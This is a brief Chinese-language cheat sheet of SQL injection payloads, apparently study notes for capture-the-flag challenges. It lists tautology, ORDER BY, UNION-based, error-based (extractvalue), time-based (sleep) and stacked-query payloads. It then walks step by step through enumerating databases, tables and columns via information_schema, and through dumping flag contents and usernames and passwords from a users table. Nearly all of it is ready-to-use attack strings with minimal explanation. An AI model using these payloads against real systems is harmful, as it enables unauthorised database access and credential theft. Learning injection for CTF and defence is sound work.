常见注入方式:
♾️ html 代码:1' or '1'='1'#
#or语句
1' order by 3#
#order语句
1' union select 1,2,3#
#联合查询
1'and(select extractvalue(1,concat('~',(select database()))))
#报错注入
1' and if(length(database())>1,sleep(5),1)--+
#时间注入
1;show databases#
1;show tables#
补充一点点小知识,方便理解sql语句
♾️ haml 代码:information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
#
代表注释后面的内容和终止查询的目的。
#可以代表:%23,--+,#
判断字段:
♾️ html 代码:?wllm=-1' order by 3%23
查看回显点:
♾️ html 代码:?wllm=-1' union select 1,2,3%23
查寻库名:
♾️ html 代码:?wllm=-1' union select 1,2,database()%23
查询表名
♾️ html 代码:?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'%23
查询字段名
♾️ html 代码:?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'%23
查询flag表里面内容
♾️ html 代码:/?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb%23
有些时候爆出的column太多,可以使用 limit
,limit
用于限制查询结果集的返回行数。
例如:
?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
♾️ abap 代码:?id=1' union select 1,(select flag from flag limit 0,1),3#